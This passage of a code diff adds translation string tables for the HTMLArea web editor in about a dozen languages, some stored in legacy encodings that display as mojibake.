+ justifyleft: "Tasaa vasemmat reunat",
+ justifycenter: "Keskitä",
+ justifyright: "Tasaa oikeat reunat",
+ justifyfull: "Tasaa molemmat reunat",
+ orderedlist: "Numerointi",
+ unorderedlist: "Luettelomerkit",
+ outdent: "Lisää sisennystä",
+ indent: "Pienennä sisennystä",
+ forecolor: "Fontin väri",
+ hilitecolor: "Taustaväri",
+ inserthorizontalrule: "Vaakaviiva",
+ createlink: "Lisää Linkki",
+ insertimage: "Lisää Kuva",
+ inserttable: "Lisää Taulu",
+ htmlmode: "HTML Lähdekoodi vs WYSIWYG",
+ popupeditor: "Suurenna Editori",
+ about: "Tietoja Editorista",
+ showhelp: "Näytä Ohje",
+ textindicator: "Nykyinen tyyli",
+ undo: "Peruuta viimeinen toiminto",
+ redo: "Palauta viimeinen toiminto",
+ cut: "Leikkaa maalattu",
+ copy: "Kopioi maalattu",
+ paste: "Liitä leikepyödältä"
+ },
+
+ buttons: {
+ "ok": "Hyväksy",
+ "cancel": "Peruuta"
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "fr", ENCODING: UTF-8 | ISO-8859-1
+// Author: Simon Richard, s.rich@sympatico.ca
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+// All technical terms used in this document are the ones approved
+// by the Office québécois de la langue française.
+// Tous les termes techniques utilisés dans ce document sont ceux
+// approuvés par l'Office québécois de la langue française.
+// http://www.oqlf.gouv.qc.ca/
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "fr",
+
+ tooltips: {
+ bold: "Gras",
+ italic: "Italique",
+ underline: "Souligné",
+ strikethrough: "Barré",
+ subscript: "Indice",
+ superscript: "Exposant",
+ justifyleft: "Aligné à gauche",
+ justifycenter: "Centré",
+ justifyright: "Aligné à droite",
+ justifyfull: "Justifier",
+ orderedlist: "Numérotation",
+ unorderedlist: "Puces",
+ outdent: "Diminuer le retrait",
+ indent: "Augmenter le retrait",
+ forecolor: "Couleur de police",
+ hilitecolor: "Surlignage",
+ horizontalrule: "Ligne horizontale",
+ createlink: "Insérer un hyperlien",
+ insertimage: "Insérer/Modifier une image",
+ inserttable: "Insérer un tableau",
+ htmlmode: "Passer au code source",
+ popupeditor: "Agrandir l'éditeur",
+ about: "À propos de cet éditeur",
+ showhelp: "Aide sur l'éditeur",
+ textindicator: "Style courant",
+ undo: "Annuler la dernière action",
+ redo: "Répéter la dernière action",
+ cut: "Couper la sélection",
+ copy: "Copier la sélection",
+ paste: "Coller depuis le presse-papier",
+ lefttoright: "Direction de gauche à droite",
+ righttoleft: "Direction de droite à gauche"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Annuler"
+ },
+
+ msg: {
+ "Path": "Chemin",
+ "TEXT_MODE": "Vous êtes en MODE TEXTE. Appuyez sur le bouton [<>] pour retourner au mode tel-tel.",
+
+ "IE-sucks-full-screen" :
+ // translate here
+ "Le mode plein écran peut causer des problèmes sous Internet Explorer, " +
+ "ceci dû à des bogues du navigateur qui ont été impossible à contourner. " +
+ "Les différents symptômes peuvent être un affichage déficient, le manque de " +
+ "fonctions dans l'éditeur et/ou pannes aléatoires du navigateur. Si votre " +
+ "système est Windows 9x, il est possible que vous subissiez une erreur de type " +
+ "«General Protection Fault» et que vous ayez à redémarrer votre ordinateur." +
+ "\n\nConsidérez-vous comme ayant été avisé. Appuyez sur OK si vous désirez tout " +
+ "de même essayer le mode plein écran de l'éditeur."
+ },
+
+ dialogs: {
+ "Cancel" : "Annuler",
+ "Insert/Modify Link" : "Insérer/Modifier Lien",
+ "New window (_blank)" : "Nouvelle fenêtre (_blank)",
+ "None (use implicit)" : "Aucun (par défaut)",
+ "OK" : "OK",
+ "Other" : "Autre",
+ "Same frame (_self)" : "Même cadre (_self)",
+ "Target:" : "Cible:",
+ "Title (tooltip):" : "Titre (infobulle):",
+ "Top frame (_top)" : "Cadre du haut (_top)",
+ "URL:" : "Adresse Web:",
+ "You must enter the URL where this link points to" : "Vous devez entrer l'adresse Web du lien"
+ }
+};
--- /dev/null
+// I18N constants -- Chinese GB
+// by Dave Lo -- dlo@interactivetools.com
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "gb",
+
+ tooltips: {
+ bold: "´ÖÌå",
+ italic: "бÌå",
+ underline: "µ×Ïß",
+ strikethrough: "ɾ³ýÏß",
+ subscript: "챐",
+ superscript: "Éϱê",
+ justifyleft: "λÖÿ¿×ó",
+ justifycenter: "λÖþÓÖÐ",
+ justifyright: "λÖÿ¿ÓÒ",
+ justifyfull: "λÖÃ×óÓÒÆ½µÈ",
+ orderedlist: "˳ÐòÇåµ¥",
+ unorderedlist: "ÎÞÐòÇåµ¥",
+ outdent: "¼õСÐÐǰ¿Õ°×",
+ indent: "¼Ó¿íÐÐǰ¿Õ°×",
+ forecolor: "ÎÄ×ÖÑÕÉ«",
+ backcolor: "±³¾°ÑÕÉ«",
+ horizontalrule: "ˮƽÏß",
+ createlink: "²åÈëÁ¬½á",
+ insertimage: "²åÈëͼÐÎ",
+ inserttable: "²åÈë±í¸ñ",
+ htmlmode: "Çл»HTMLÔʼÂë",
+ popupeditor: "·Å´ó",
+ about: "¹Øì¶ HTMLArea",
+ help: "˵Ã÷",
+ textindicator: "×ÖÌåÀý×Ó"
+ }
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "he", ENCODING: UTF-8\r\r
+// Author: Liron Newman, http://www.eesh.net, <plastish at ultinet dot org>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+ // the following should be the filename without .js extension\r\r
+ // it will be used for automatically load plugin language.\r\r
+ lang: "he",\r\r
+\r\r
+ tooltips: {\r\r
+ bold: "מודגש",\r\r
+ italic: "נטוי",\r\r
+ underline: "קו תחתי",\r\r
+ strikethrough: "קו אמצע",\r\r
+ subscript: "כתב עילי",\r\r
+ superscript: "כתב תחתי",\r\r
+ justifyleft: " ישור לשמאל",\r\r
+ justifycenter: "ישור למרכז",\r\r
+ justifyright: "ישור לימין",\r\r
+ justifyfull: "ישור לשורה מלאה",\r\r
+ orderedlist: "רשימה ממוספרת",\r\r
+ unorderedlist: "רשימה לא ממוספרת",\r\r
+ outdent: "הקטן כניסה",\r\r
+ indent: "הגדל כניסה",\r\r
+ forecolor: "צבע גופן",\r\r
+ hilitecolor: "צבע רקע",\r\r
+ horizontalrule: "קו אנכי",\r\r
+ createlink: "הכנס היפר-קישור",\r\r
+ insertimage: "הכנס/שנה תמונה",\r\r
+ inserttable: "הכנס טבלה",\r\r
+ htmlmode: "שנה מצב קוד HTML",\r\r
+ popupeditor: "הגדל את העורך",\r\r
+ about: "אודות עורך זה",\r\r
+ showhelp: "עזרה לשימוש בעורך",\r\r
+ textindicator: "סגנון נוכחי",\r\r
+ undo: "מבטל את פעולתך האחרונה",\r\r
+ redo: "מבצע מחדש את הפעולה האחרונה שביטלת",\r\r
+ cut: "גזור בחירה",\r\r
+ copy: "העתק בחירה",\r\r
+ paste: "הדבק מהלוח",\r\r
+ lefttoright: "כיוון משמאל לימין",\r\r
+ righttoleft: "כיוון מימין לשמאל"\r\r
+ },\r\r
+\r\r
+ buttons: {\r\r
+ "ok": "אישור",\r\r
+ "cancel": "ביטול"\r\r
+ },\r\r
+\r\r
+ msg: {\r\r
+ "Path": "נתיב עיצוב",\r\r
+ "TEXT_MODE": "אתה במצב טקסט נקי (קוד). השתמש בכפתור [<>] כדי לחזור למצב WYSIWYG (תצוגת עיצוב).",\r\r
+\r\r
+ "IE-sucks-full-screen" :\r\r
+ // translate here\r\r
+ "מצב מסך מלא יוצר בעיות בדפדפן Internet Explorer, " +\r\r
+ "עקב באגים בדפדפן לא יכולנו לפתור את זה. את/ה עלול/ה לחוות תצוגת זבל, " +\r\r
+ "בעיות בתפקוד העורך ו/או קריסה של הדפדפן. אם המערכת שלך היא Windows 9x " +\r\r
+ "סביר להניח שתקבל/י 'General Protection Fault' ותאלצ/י לאתחל את המחשב.\n\n" +\r\r
+ "ראה/י הוזהרת. אנא לחץ/י אישור אם את/ה עדיין רוצה לנסות את העורך במסך מלא."\r\r
+ },\r\r
+\r\r
+ dialogs: {\r\r
+ "Cancel" : "ביטול",\r\r
+ "Insert/Modify Link" : "הוסף/שנה קישור",\r\r
+ "New window (_blank)" : "חלון חדש (_blank)",\r\r
+ "None (use implicit)" : "ללא (השתמש ב-frame הקיים)",\r\r
+ "OK" : "OK",\r\r
+ "Other" : "אחר",\r\r
+ "Same frame (_self)" : "אותו frame (_self)",\r\r
+ "Target:" : "יעד:",\r\r
+ "Title (tooltip):" : "כותרת (tooltip):",\r\r
+ "Top frame (_top)" : "Frame עליון (_top)",\r\r
+ "URL:" : "URL:",\r\r
+ "You must enter the URL where this link points to" : "חובה לכתוב URL שאליו קישור זה מצביע"\r\r
+\r\r
+ }\r\r
+};\r\r
--- /dev/null
+// I18N constants
+
+// LANG: "hu", ENCODING: UTF-8
+// Author: Miklós Somogyi, <somogyine@vnet.hu>
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "hu",
+
+ tooltips: {
+ bold: "Félkövér",
+ italic: "Dőlt",
+ underline: "Aláhúzott",
+ strikethrough: "Áthúzott",
+ subscript: "Alsó index",
+ superscript: "Felső index",
+ justifyleft: "Balra zárt",
+ justifycenter: "Középre zárt",
+ justifyright: "Jobbra zárt",
+ justifyfull: "Sorkizárt",
+ orderedlist: "Számozott lista",
+ unorderedlist: "Számozatlan lista",
+ outdent: "Behúzás csökkentése",
+ indent: "Behúzás növelése",
+ forecolor: "Karakterszín",
+ hilitecolor: "Háttérszín",
+ horizontalrule: "Elválasztó vonal",
+ createlink: "Hiperhivatkozás beszúrása",
+ insertimage: "Kép beszúrása",
+ inserttable: "Táblázat beszúrása",
+ htmlmode: "HTML forrás be/ki",
+ popupeditor: "Szerkesztő külön ablakban",
+ about: "Névjegy",
+ showhelp: "Súgó",
+ textindicator: "Aktuális stílus",
+ undo: "Visszavonás",
+ redo: "Újra végrehajtás",
+ cut: "Kivágás",
+ copy: "Másolás",
+ paste: "Beillesztés",
+ lefttoright: "Irány balról jobbra",
+ righttoleft: "Irány jobbról balra"
+ },
+
+ buttons: {
+ "ok": "Rendben",
+ "cancel": "Mégsem"
+ },
+
+ msg: {
+ "Path": "Hierarchia",
+ "TEXT_MODE": "Forrás mód. Visszaváltás [<>] gomb",
+
+ "IE-sucks-full-screen" :
+ // translate here
+ "A teljesképrenyős szerkesztés hibát okozhat Internet Explorer használata esetén, " +
+ "ez a böngésző a hibája, amit nem tudunk kikerülni. Szemetet észlelhet a képrenyőn, " +
+ "illetve néhány funkció hiányozhat és/vagy véletlenszerűen lefagyhat a böngésző. " +
+ "Windows 9x operaciós futtatása esetén elég valószínű, hogy 'General Protection Fault' " +
+ "hibát okoz és újra kell indítania a számítógépet.\n\n" +
+ "Figyelmeztettük. Kérjük nyomja meg a Rendben gombot, ha mégis szeretné megnyitni a " +
+ "szerkesztőt külön ablakban."
+ },
+
+ dialogs: {
+ "Cancel" : "Mégsem",
+ "Insert/Modify Link" : "Hivatkozás Beszúrása/Módosítása",
+ "New window (_blank)" : "Új ablak (_blank)",
+ "None (use implicit)" : "Nincs (use implicit)",
+ "OK" : "OK",
+ "Other" : "Más",
+ "Same frame (_self)" : "Ugyanabba a keretbe (_self)",
+ "Target:" : "Cél:",
+ "Title (tooltip):" : "Cím (tooltip):",
+ "Top frame (_top)" : "Felső keret (_top)",
+ "URL:" : "URL:",
+ "You must enter the URL where this link points to" : "Be kell írnia az URL-t, ahova a hivatkozás mutasson"
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "it", ENCODING: UTF-8 | ISO-8859-1
+// Author: Fabio Rotondo <fabio@rotondo.it>
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "it",
+
+ tooltips: {
+ bold: "Grassetto",
+ italic: "Italico",
+ underline: "Sottolineato",
+ strikethrough: "Barrato",
+ subscript: "Pedice",
+ superscript: "Apice",
+ justifyleft: "Giustifica a Sinistra",
+ justifycenter: "Giustifica in Centro",
+ justifyright: "Giustifica a Destra",
+ justifyfull: "Giustifica Completamente",
+ orderedlist: "Lista Ordinata",
+ unorderedlist: "Lista Puntata",
+ outdent: "Decrementa Indentazione",
+ indent: "Incrementa Indentazione",
+ forecolor: "Colore del Carattere",
+ hilitecolor: "Colore di Sfondo",
+ horizontalrule: "Linea Orizzontale",
+ createlink: "Inserisci un Link",
+ insertimage: "Inserisci un'Immagine",
+ inserttable: "Inserisci una Tabella",
+ htmlmode: "Attiva il codice HTML",
+ popupeditor: "Allarga l'editor",
+ about: "Info sull'editor",
+ showhelp: "Aiuto sull'editor",
+ textindicator: "Stile Attuale",
+ undo: "Elimina l'ultima modifica",
+ redo: "Ripristina l'ultima modifica",
+ cut: "Taglia l'area selezionata",
+ copy: "Copia l'area selezionata",
+ paste: "Incolla dalla memoria"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Annulla"
+ },
+
+ msg: {
+ "Path": "Percorso",
+ "TEXT_MODE": "Sei in MODALITA' TESTO. Usa il bottone [<>] per tornare alla modalità WYSIWYG."
+ }
+};
--- /dev/null
+// I18N constants -- Japanese EUC
+// by Manabu Onoue -- tmocsys@tmocsys.com
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "ja-euc",
+
+ tooltips: {
+ bold: "ÂÀ»ú",
+ italic: "¼ÐÂÎ",
+ underline: "²¼Àþ",
+ strikethrough: "ÂǤÁ¾Ã¤·Àþ",
+ subscript: "²¼Éդꤍ»ú",
+ superscript: "¾åÉդꤍ»ú",
+ justifyleft: "º¸´ó¤»",
+ justifycenter: "Ãæ±û´ó¤»",
+ justifyright: "±¦´ó¤»",
+ justifyfull: "¶ÑÅù³äÉÕ",
+ orderedlist: "ÈÖ¹æÉÕ¤²Õ¾ò½ñ¤",
+ unorderedlist: "µ¹æÉÕ¤²Õ¾ò½ñ¤",
+ outdent: "¥¤¥ó¥Ç¥ó¥È²ò½ü",
+ indent: "¥¤¥ó¥Ç¥ó¥ÈÀßÄê",
+ forecolor: "ʸ»ú¿§",
+ backcolor: "ÇØ·Ê¿§",
+ horizontalrule: "¿åÊ¿Àþ",
+ createlink: "¥ê¥ó¥¯ºîÀ®",
+ insertimage: "²èÁüÁÞÆþ",
+ inserttable: "¥Æ¡¼¥Ö¥ëÁÞÆþ",
+ htmlmode: "HTMLɽ¼¨ÀÚÂØ",
+ popupeditor: "¥¨¥Ç¥£¥¿³ÈÂç",
+ about: "¥Ð¡¼¥¸¥ç¥ó¾ðÊó",
+ help: "¥Ø¥ë¥×",
+ textindicator: "¸½ºß¤Î¥¹¥¿¥¤¥ë"
+ }
+};
--- /dev/null
+// I18N constants -- Japanese JIS
+// by Manabu Onoue -- tmocsys@tmocsys.com
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "ja-jis",
+
+ tooltips: {
+ bold: "\e$BB@;z\e(B",
+ italic: "\e$B<PBN\e(B",
+ underline: "\e$B2<@~\e(B",
+ strikethrough: "\e$BBG$A>C$7@~\e(B",
+ subscript: "\e$B2<IU$-E:$(;z\e(B",
+ superscript: "\e$B>eIU$-E:$(;z\e(B",
+ justifyleft: "\e$B:84s$;\e(B",
+ justifycenter: "\e$BCf1{4s$;\e(B",
+ justifyright: "\e$B1&4s$;\e(B",
+ justifyfull: "\e$B6QEy3dIU\e(B",
+ orderedlist: "\e$BHV9fIU$-2U>r=q$-\e(B",
+ unorderedlist: "\e$B5-9fIU$-2U>r=q$-\e(B",
+ outdent: "\e$B%$%s%G%s%H2r=|\e(B",
+ indent: "\e$B%$%s%G%s%H@_Dj\e(B",
+ forecolor: "\e$BJ8;z?'\e(B",
+ backcolor: "\e$BGX7J?'\e(B",
+ horizontalrule: "\e$B?eJ?@~\e(B",
+ createlink: "\e$B%j%s%/:n@.\e(B",
+ insertimage: "\e$B2hA|A^F~\e(B",
+ inserttable: "\e$B%F!<%V%kA^F~\e(B",
+ htmlmode: "HTML\e$BI=<(@ZBX\e(B",
+ popupeditor: "\e$B%(%G%#%?3HBg\e(B",
+ about: "\e$B%P!<%8%g%s>pJs\e(B",
+ help: "\e$B%X%k%W\e(B",
+ textindicator: "\e$B8=:_$N%9%?%$%k\e(B"
+ }
+};
--- /dev/null
+// I18N constants -- Japanese Shift-JIS
+// by Manabu Onoue -- tmocsys@tmocsys.com
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "ja-sjis",
+
+ tooltips: {
+ bold: "\91¾\8e\9a",
+ italic: "\8eÎ\91Ì",
+ underline: "\89º\90ü",
+ strikethrough: "\91Å\82¿\8fÁ\82µ\90ü",
+ subscript: "\89º\95t\82«\93Y\82¦\8e\9a",
+ superscript: "\8fã\95t\82«\93Y\82¦\8e\9a",
+ justifyleft: "\8d¶\8añ\82¹",
+ justifycenter: "\92\86\89\9b\8añ\82¹",
+ justifyright: "\89E\8añ\82¹",
+ justifyfull: "\8bÏ\93\99\8a\84\95t",
+ orderedlist: "\94Ô\8d\86\95t\82«\89Ó\8fð\8f\91\82«",
+ unorderedlist: "\8bL\8d\86\95t\82«\89Ó\8fð\8f\91\82«",
+ outdent: "\83C\83\93\83f\83\93\83g\89ð\8f\9c",
+ indent: "\83C\83\93\83f\83\93\83g\90Ý\92è",
+ forecolor: "\95¶\8e\9a\90F",
+ backcolor: "\94w\8ci\90F",
+ horizontalrule: "\90\85\95½\90ü",
+ createlink: "\83\8a\83\93\83N\8dì\90¬",
+ insertimage: "\89æ\91\9c\91}\93ü",
+ inserttable: "\83e\81[\83u\83\8b\91}\93ü",
+ htmlmode: "HTML\95\\8e¦\90Ø\91Ö",
+ popupeditor: "\83G\83f\83B\83^\8ag\91å",
+ about: "\83o\81[\83W\83\87\83\93\8fî\95ñ",
+ help: "\83w\83\8b\83v",
+ textindicator: "\8c»\8dÝ\82Ì\83X\83^\83C\83\8b"
+ }
+};
--- /dev/null
+// I18N constants -- Japanese UTF-8
+// by Manabu Onoue -- tmocsys@tmocsys.com
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "ja-utf8",
+
+ tooltips: {
+ bold: "太字",
+ italic: "斜体",
+ underline: "下線",
+ strikethrough: "打ち消し線",
+ subscript: "下付き添え字",
+ superscript: "上付き添え字",
+ justifyleft: "左寄せ",
+ justifycenter: "中央寄せ",
+ justifyright: "右寄せ",
+ justifyfull: "均等割付",
+ orderedlist: "番号付き箇条書き",
+ unorderedlist: "記号付き箇条書き",
+ outdent: "インデント解除",
+ indent: "インデント設定",
+ forecolor: "文字色",
+ backcolor: "背景色",
+ horizontalrule: "水平線",
+ createlink: "リンク作成",
+ insertimage: "画像挿入",
+ inserttable: "テーブル挿入",
+ htmlmode: "HTML表示切替",
+ popupeditor: "エディタ拡大",
+ about: "バージョン情報",
+ help: "ヘルプ",
+ textindicator: "現在のスタイル"
+ }
+};
--- /dev/null
+// I18N constants
+
+// LANG: "lt", ENCODING: UTF-8
+// Author: Jaroslav Šatkevič, <jaro@akl.lt>
+
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "lt",
+
+ tooltips: {
+ bold: "Paryškinti",
+ italic: "Kursyvas",
+ underline: "Pabraukti",
+ strikethrough: "Perbraukti",
+ subscript: "Apatinis indeksas",
+ superscript: "Viršutinis indeksas",
+ justifyleft: "Lygiavimas pagal kairę",
+ justifycenter: "Lygiavimas pagal centrą",
+ justifyright: "Lygiavimas pagal dešinę",
+ justifyfull: "Lygiuoti pastraipą",
+ orderedlist: "Numeruotas sąrašas",
+ unorderedlist: "Suženklintas sąrašas",
+ outdent: "Sumažinti paraštę",
+ indent: "Padidinti paraštę",
+ forecolor: "Šrifto spalva",
+ hilitecolor: "Fono spalva",
+ horizontalrule: "Horizontali linija",
+ createlink: "Įterpti nuorodą",
+ insertimage: "Įterpti paveiksliuką",
+ inserttable: "Įterpti lentelę",
+ htmlmode: "Perjungti į HTML/WYSIWYG",
+ popupeditor: "Išplėstas redagavimo ekranas/Enlarge Editor",
+ about: "Apie redaktorių",
+ showhelp: "Pagalba naudojant redaktorių",
+ textindicator: "Dabartinis stilius",
+ undo: "Atšaukia paskutini jūsų veiksmą",
+ redo: "Pakartoja paskutinį atšauktą jūsų veiksmą",
+ cut: "Iškirpti",
+ copy: "Kopijuoti",
+ paste: "Įterpti"
+ },
+
+ buttons: {
+ "ok": "OK",
+ "cancel": "Atšaukti"
+ },
+
+ msg: {
+ "Path": "Kelias",
+ "TEXT_MODE": "Jūs esete teksto režime. Naudokite [<>] mygtuką grįžimui į WYSIWYG."
+ }
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "lv", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Mihai Bazon, http://dynarch.com/mishoo\r\r
+// Translated by: Janis Klavins, <janis.klavins@devia.lv>\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+ // the following should be the filename without .js extension\r\r
+ // it will be used for automatically load plugin language.\r\r
+ lang: "lv",\r\r
+\r\r
+ tooltips: {\r\r
+ bold: "Trekniem burtiem",\r\r
+ italic: "Kursîvâ",\r\r
+ underline: "Pasvîtrots",\r\r
+ strikethrough: "Pârsvîtrots",\r\r
+ subscript: "Novietot zem rindas",\r\r
+ superscript: "Novietot virs rindas",\r\r
+ justifyleft: "Izlîdzinât pa kreisi",\r\r
+ justifycenter: "Izlîdzinât centrâ",\r\r
+ justifyright: "Izlîdzinât pa labi",\r\r
+ justifyfull: "Izlîdzinât pa visu lapu",\r\r
+ orderedlist: "Numurçts saraksts",\r\r
+ unorderedlist: "Saraksts",\r\r
+ outdent: "Samazinât atkâpi",\r\r
+ indent: "Palielinât atkâpi",\r\r
+ forecolor: "Burtu krâsa",\r\r
+ hilitecolor: "Fona krâsa",\r\r
+ horizontalrule: "Horizontâla atdalîtâjsvîtra",\r\r
+ createlink: "Ievietot hipersaiti",\r\r
+ insertimage: "Ievietot attçlu",\r\r
+ inserttable: "Ievietot tabulu",\r\r
+ htmlmode: "Skatît HTML kodu",\r\r
+ popupeditor: "Palielinât Rediìçtâju",\r\r
+ about: "Par ðo rediìçtâju",\r\r
+ showhelp: "Rediìçtâja palîgs",\r\r
+ textindicator: "Patreizçjais stils",\r\r
+ undo: "Atcelt pçdçjo darbîbu",\r\r
+ redo: "Atkârtot pçdçjo darbîbu",\r\r
+ cut: "Izgriezt iezîmçto",\r\r
+ copy: "Kopçt iezîmçto",\r\r
+ paste: "Ievietot iezîmçto"\r\r
+ },\r\r
+\r\r
+ buttons: {\r\r
+ "ok": "Labi",\r\r
+ "cancel": "Atcelt"\r\r
+ },\r\r
+\r\r
+ msg: {\r\r
+ "Path": "Ceïð",\r\r
+ "TEXT_MODE": "Jûs patlaban darbojaties TEKSTA REÞÎMÂ. Lai pârietu atpakaï uz GRAFISKO REÞÎMU (WYSIWIG), lietojiet [<>] pogu."\r\r
+ }\r\r
+};\r\r
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
--- /dev/null
+// I18N constants
+
+HTMLArea.I18N = {
+
+ // the following should be the filename without .js extension
+ // it will be used for automatically load plugin language.
+ lang: "nb",
+
+ tooltips: {
+ bold: "Fet",
+ italic: "Kursiv",
+ underline: "Understreket",
+ strikethrough: "Gjennomstreket",
+ subscript: "Senket",
+ superscript: "Hevet",
+ justifyleft: "Venstrejuster",
+ justifycenter: "Midtjuster",
+ justifyright: "Høyrejuster",
+ justifyfull: "Blokkjuster",
+ orderedlist: "Nummerert liste",
+ unorderedlist: "Punktmerket liste",
+ outdent: "Øke innrykk",
+ indent: "Reduser innrykk",
+ forecolor: "Skriftfarge",
+ backcolor: "Bakgrunnsfarge",
+ horizontalrule: "Horisontal linje",
+ createlink: "Sett inn lenke",
+ insertimage: "Sett inn bilde",
+ inserttable: "Sett inn tabell",
+ htmlmode: "Vis HTML kode",
+ popupeditor: "Forstørr redigeringsvindu",
+ about: "Om..",
+ help: "Hjelp",
+ textindicator: "Gjeldende stil"
+ }
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "nl", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Michel Weegeerink (info@mmc-shop.nl), http://mmc-shop.nl\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+ // the following should be the filename without .js extension\r\r
+ // it will be used for automatically load plugin language.\r\r
+ lang: "nl",\r\r
+\r\r
+ tooltips: {\r\r
+ bold: "Vet",\r\r
+ italic: "Cursief",\r\r
+ underline: "Onderstrepen",\r\r
+ strikethrough: "Doorhalen",\r\r
+ subscript: "Subscript",\r\r
+ superscript: "Superscript",\r\r
+ justifyleft: "Links uitlijnen",\r\r
+ justifycenter: "Centreren",\r\r
+ justifyright: "Rechts uitlijnen",\r\r
+ justifyfull: "Uitvullen",\r\r
+ orderedlist: "Nummering",\r\r
+ unorderedlist: "Opsommingstekens",\r\r
+ outdent: "Inspringing verkleinen",\r\r
+ indent: "Inspringing vergroten",\r\r
+ forecolor: "Tekstkleur",\r\r
+ hilitecolor: "Achtergrondkleur",\r\r
+ inserthorizontalrule: "Horizontale lijn",\r\r
+ createlink: "Hyperlink invoegen/aanpassen",\r\r
+ insertimage: "Afbeelding invoegen/aanpassen",\r\r
+ inserttable: "Tabel invoegen",\r\r
+ htmlmode: "HTML broncode",\r\r
+ popupeditor: "Vergroot Editor",\r\r
+ about: "Over deze editor",\r\r
+ showhelp: "HTMLArea help",\r\r
+ textindicator: "Huidige stijl",\r\r
+ undo: "Ongedaan maken",\r\r
+ redo: "Herhalen",\r\r
+ cut: "Knippen",\r\r
+ copy: "Kopiëren",\r\r
+ paste: "Plakken",\r\r
+ lefttoright: "Tekstrichting links naar rechts",\r\r
+ righttoleft: "Tekstrichting rechts naar links"\r\r
+ },\r\r
+\r\r
+ buttons: {\r\r
+ "ok": "OK",\r\r
+ "cancel": "Annuleren"\r\r
+ },\r\r
+\r\r
+ msg: {\r\r
+ "Path": "Pad",\r\r
+ "TEXT_MODE": "Je bent in TEKST-mode. Gebruik de [<>] knop om terug te keren naar WYSIWYG-mode.",\r\r
+ \r\r
+ "IE-sucks-full-screen" :\r\r
+ // translate here\r\r
+ "Fullscreen-mode veroorzaakt problemen met Internet Explorer door bugs in de webbrowser " +\r\r
+ "die we niet kunnen omzeilen. Hierdoor kunnen de volgende effecten optreden: verknoeide teksten, " +\r\r
+ "een verlies aan editor-functionaliteit en/of willekeurig vastlopen van de webbrowser. " +\r\r
+ "Als u Windows 95 of 98 gebruikt, is het zeer waarschijnlijk dat u een algemene beschermingsfout " +\r\r
+ "('General Protection Fault') krijgt en de computer opnieuw zal moeten opstarten.\n\n" +\r\r
+ "U bent gewaarschuwd. Druk OK als u toch nog de Fullscreen-editor wil gebruiken."\r\r
+ },\r\r
+\r\r
+ dialogs: {\r\r
+ "Cancel" : "Annuleren",\r\r
+ "Insert/Modify Link" : "Hyperlink invoegen/aanpassen",\r\r
+ "New window (_blank)" : "Nieuw venster (_blank)",\r\r
+ "None (use implicit)" : "Geen",\r\r
+ "OK" : "OK",\r\r
+ "Other" : "Ander",\r\r
+ "Same frame (_self)" : "Zelfde frame (_self)",\r\r
+ "Target:" : "Doel:",\r\r
+ "Title (tooltip):" : "Titel (tooltip):",\r\r
+ "Top frame (_top)" : "Bovenste frame (_top)",\r\r
+ "URL:" : "URL:",\r\r
+ "You must enter the URL where this link points to" : "Geef de URL in waar de link naar verwijst"\r\r
+ }\r\r
+};\r\r
+\r\r
--- /dev/null
+// Norwegian version for htmlArea v3.0 - pre1\r\r
+// - translated by ses<ses@online.no>\r\r
+// Additional translations by Håvard Wigtil <havardw@extend.no>\r\r
+// term´s and licenses are equal to htmlarea!\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+ // the following should be the filename without .js extension\r\r
+ // it will be used for automatically load plugin language.\r\r
+ lang: "no",\r\r
+\r\r
+ tooltips: {\r\r
+ bold: "Fet",\r\r
+ italic: "Kursiv",\r\r
+ underline: "Understreket",\r\r
+ strikethrough: "Gjennomstreket",\r\r
+ subscript: "Nedsenket",\r\r
+ superscript: "Opphøyet",\r\r
